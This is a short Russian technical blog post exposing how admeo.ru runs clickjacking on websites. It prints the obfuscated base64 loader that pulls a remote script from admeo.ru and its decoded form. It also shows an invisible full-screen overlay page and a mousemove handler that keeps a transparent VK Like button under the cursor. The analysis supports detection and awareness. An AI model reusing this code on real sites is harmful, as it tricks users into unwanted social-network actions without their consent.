Clickjacking
О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.
1. В коде есть скрипт, буквально бросающийся в глаза:
<script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>
2. Декодируем:
(function(b,c){setTimeout(function(){
var a=document,f=a.getElementsByTagName("script")[0],
s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");
3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
<html>
<head></head>
<body onclick="admeoVk.click()">
<div id="vk_api_transport"></div>
<div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
<div id="myvklogin"></div>
<script language="JavaScript">
var admeoParams = {
token: 'edb42a81873185696ac52e2bb4bf6eea',
apiUrl: 'http://admeo.ru/',
appId: 4906527,
host: 'admeo.ru',
siteId: 15,
cName: 'amuid'
};
(function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
</script>
</body>
</html>
Странное решение оставить cursor:pointer!important...
4.
static.admeo.ru/assets/core/_vk.js
5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
window.onmousemove = function(e){
document.querySelector('#cwvkid').style.left = e.pageX - 70;
document.querySelector('#cwvkid').style.top = e.pageY - 12;
};